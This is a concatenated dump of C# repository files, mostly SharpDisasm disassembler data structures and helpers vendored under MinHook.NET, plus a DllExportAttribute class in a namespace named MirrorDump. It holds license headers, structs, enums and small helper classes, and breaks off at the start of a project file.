MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | #pragma warning disable 1591 46 | /// 47 | /// A single operand of an entry within the instruction table 48 | /// 49 | public struct ud_itab_entry_operand 50 | { 51 | public ud_operand_code type; 52 | public ud_operand_size size; 53 | 54 | public ud_itab_entry_operand(ud_operand_code type, ud_operand_size size) 55 | { 56 | this.type = type; 57 | this.size = size; 58 | } 59 | } 60 | #pragma warning restore 1591 61 | } 62 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/IAssemblyCode.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\IAssemblyCode.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | namespace SharpDisasm 43 | { 44 | /// 45 | /// 46 | /// 47 | public interface IAssemblyCode 48 | { 49 | 50 | /// 51 | /// Gets or sets the at the specified index. 52 | /// 53 | /// 54 | /// The . 55 | /// 56 | /// The index. 57 | /// 58 | byte this[int index] { get; } 59 | 60 | /// 61 | /// Gets the length. 62 | /// 63 | /// 64 | /// The length. 65 | /// 66 | int Length { get; } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud_operand.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud_operand.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | #pragma warning disable 1591 46 | /// 47 | /// Disassembled instruction Operand. 48 | /// 49 | public struct ud_operand 50 | { 51 | public ud_type type; 52 | public ushort size; 53 | public ud_type @base; 54 | public ud_type index; 55 | public byte scale; 56 | /// 57 | /// Offset size (8, 16, 32, 64) 58 | /// 59 | public byte offset; 60 | public ud_lval lval; 61 | 62 | #region internal use only 63 | 64 | internal ud_operand_code _oprcode; 65 | 66 | #endregion 67 | } 68 | #pragma warning restore 1591 69 | } 70 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Translators/SymbolResolverDelegate.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\symbolresolverdelegate.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | namespace SharpDisasm.Translators 43 | { 44 | /// 45 | /// Allows an address to be resolved to a symbol name 46 | /// 47 | /// The instruction being translated 48 | /// The address to resolve to a symbol 49 | /// An optional offset for the symbol. E.g. if the symbol is located at 0x100 and is 0x101, the offset can be set to 0x001 and the symbol can be output wiht an offset i.e. MYSYMBOL:0x001 50 | /// If a symbol is located at the address return the symbol name, otherwise null or . 51 | public delegate string SymbolResolverDelegate(Instruction instruction, long addr, ref long offset); 52 | } 53 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud_lval.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud_lval.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Runtime.InteropServices; 41 | using System.Text; 42 | 43 | 44 | namespace SharpDisasm.Udis86 45 | { 46 | #pragma warning disable 1591 47 | [StructLayout(LayoutKind.Explicit)] 48 | public struct ud_lval 49 | { 50 | [FieldOffset(0)] 51 | public sbyte @sbyte; 52 | [FieldOffset(0)] 53 | public byte ubyte; 54 | [FieldOffset(0)] 55 | public short sword; 56 | [FieldOffset(0)] 57 | public ushort uword; 58 | [FieldOffset(0)] 59 | public Int32 sdword; 60 | [FieldOffset(0)] 61 | public UInt32 udword; 62 | [FieldOffset(0)] 63 | public Int64 sqword; 64 | [FieldOffset(0)] 65 | public UInt64 uqword; 66 | 67 | [FieldOffset(0)] 68 | public UInt16 ptr_seg; 69 | [FieldOffset(2)] 70 | public UInt32 ptr_off; 71 | // struct { 72 | // uint16_t seg; 73 | // uint32_t off; 74 | //} ptr; 75 | } 76 | #pragma warning restore 1591 77 | } 78 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Helpers/AssemblyCode.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\Helpers\AssemblyCode.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | namespace SharpDisasm.Helpers 43 | { 44 | /// 45 | /// 46 | /// 47 | internal static class AssemblyCode 48 | { 49 | /// 50 | /// Copies to bytes. 51 | /// 52 | /// The source. 53 | /// The offset. 54 | /// The length. 55 | /// 56 | public static byte[] CopyToBytes(this IAssemblyCode source, int offset, int length) 57 | { 58 | var bytes = new byte[length]; 59 | 60 | for (int i = 0; i < length; i++) 61 | { 62 | bytes[i] = source[offset + i]; 63 | } 64 | 65 | return bytes; 66 | } 67 | 68 | /// 69 | /// Copies the specified source. 70 | /// 71 | /// The source. 72 | /// The offset. 73 | /// The length. 74 | /// 75 | public static IAssemblyCode Copy(this IAssemblyCode source, int offset, int length) 76 | { 77 | return new AssemblyCodeArray(source.CopyToBytes(offset, length)); 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Helpers/AssemblyCodeArray.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\Helpers\AssemblyCodeArray.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | namespace SharpDisasm.Helpers 43 | { 44 | /// 45 | /// 46 | /// 47 | internal class AssemblyCodeArray : IAssemblyCode 48 | { 49 | private byte[] buffer; 50 | 51 | /// 52 | /// Initializes a new instance of the class. 53 | /// 54 | /// The buffer. 55 | public AssemblyCodeArray(byte[] buffer) 56 | { 57 | this.buffer = buffer; 58 | } 59 | 60 | /// 61 | /// Gets or sets the at the specified index. 62 | /// 63 | /// 64 | /// The . 65 | /// 66 | /// The index. 67 | /// 68 | byte IAssemblyCode.this[int index] { get { return buffer[index]; } } 69 | 70 | /// 71 | /// Gets the length. 72 | /// 73 | /// 74 | /// The length. 75 | /// 76 | int IAssemblyCode.Length { get { return buffer.Length; } } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud_operand_code.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud_operand_code.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | #pragma warning disable 1591 46 | /* operand type constants -- order is important! */ 47 | 48 | /// 49 | /// Operand codes 50 | /// 51 | public enum ud_operand_code { 52 | OP_NONE, 53 | 54 | OP_A, OP_E, OP_M, OP_G, 55 | OP_I, OP_F, 56 | 57 | OP_R0, OP_R1, OP_R2, OP_R3, 58 | OP_R4, OP_R5, OP_R6, OP_R7, 59 | 60 | OP_AL, OP_CL, OP_DL, 61 | OP_AX, OP_CX, OP_DX, 62 | OP_eAX, OP_eCX, OP_eDX, 63 | OP_rAX, OP_rCX, OP_rDX, 64 | 65 | OP_ES, OP_CS, OP_SS, OP_DS, 66 | OP_FS, OP_GS, 67 | 68 | OP_ST0, OP_ST1, OP_ST2, OP_ST3, 69 | OP_ST4, OP_ST5, OP_ST6, OP_ST7, 70 | 71 | OP_J, OP_S, OP_O, 72 | OP_I1, OP_I3, OP_sI, 73 | 74 | OP_V, OP_W, OP_Q, OP_P, 75 | OP_U, OP_N, OP_MU, OP_H, 76 | OP_L, 77 | 78 | OP_R, OP_C, OP_D, 79 | 80 | OP_MR 81 | } 82 | #pragma warning restore 1591 83 | } 84 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud_itab_entry.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud_itab_entry.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | #pragma warning disable 1591 46 | /// 47 | /// A single entry within an instruction table 48 | /// 49 | public class ud_itab_entry 50 | { 51 | public readonly ud_mnemonic_code Mnemonic; 52 | public readonly ud_itab_entry_operand Operand1; 53 | public readonly ud_itab_entry_operand Operand2; 54 | public readonly ud_itab_entry_operand Operand3; 55 | public readonly ud_itab_entry_operand Operand4; 56 | public readonly UInt32 Prefix; 57 | 58 | internal ud_itab_entry() 59 | { 60 | } 61 | 62 | internal ud_itab_entry( 63 | ud_mnemonic_code mnemonic, 64 | ud_itab_entry_operand operand1, 65 | ud_itab_entry_operand operand2, 66 | ud_itab_entry_operand operand3, 67 | ud_itab_entry_operand operand4, 68 | UInt32 prefix 69 | ) 70 | { 71 | this.Mnemonic = mnemonic; 72 | this.Operand1 = operand1; 73 | this.Operand2 = operand2; 74 | this.Operand3 = operand3; 75 | this.Operand4 = operand4; 76 | this.Prefix = prefix; 77 | } 78 | } 79 | #pragma warning restore 1591 80 | } 81 | -------------------------------------------------------------------------------- /Lsa/DllExportAttribute.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * The MIT License (MIT) 3 | * 4 | * Copyright (c) 2016-2021 Denis Kuzmin github/3F 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in 14 | * all copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | * THE SOFTWARE. 23 | */ 24 | 25 | using System; 26 | using System.Runtime.InteropServices; 27 | 28 | namespace MirrorDump 29 | { 30 | /// 31 | /// To export this as __cdecl C-exported function. Named as current method where is used attribute. 32 | /// [.NET DllExport] 33 | /// 34 | /// About our meta-information in user-code: 35 | /// https://github.com/3F/DllExport/issues/16 36 | /// 37 | [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] 38 | public sealed class DllExportAttribute : Attribute { 39 | /// 40 | /// Specified calling convention. 41 | /// 42 | /// __cdecl is the default convention in .NET DllExport like for other C/C++ programs (Microsoft Specific). 43 | /// __stdCall mostly used with winapi. 44 | /// 45 | /// https://msdn.microsoft.com/en-us/library/zkwh89ks.aspx 46 | /// https://msdn.microsoft.com/en-us/library/56h2zst2.aspx 47 | /// https://github.com/3F/Conari also uses __cdecl by default 48 | /// 49 | public CallingConvention CallingConvention { 50 | get; 51 | set; 52 | } = CallingConvention.Cdecl; 53 | 54 | /// 55 | /// Optional name for C-exported function. 56 | /// 57 | public string ExportName { 58 | get; 59 | set; 60 | } 61 | 62 | /* Available signatures */ 63 | 64 | /// Optional name for C-exported function. 65 | /// Specified calling convention. __cdecl is the default convention in .NET DllExport. 66 | public DllExportAttribute(string function, CallingConvention convention) { } 67 | 68 | /// Optional name for C-exported function. 69 | public DllExportAttribute(string function) { } 70 | 71 | /// Specified calling convention. __cdecl is the default convention in .NET DllExport. 72 | public DllExportAttribute(CallingConvention convention) { } 73 | 74 | /// 75 | /// To export this as __cdecl C-exported function. Named as current method where is used attribute. 76 | /// 77 | public DllExportAttribute() { } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/SharpDisasm.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 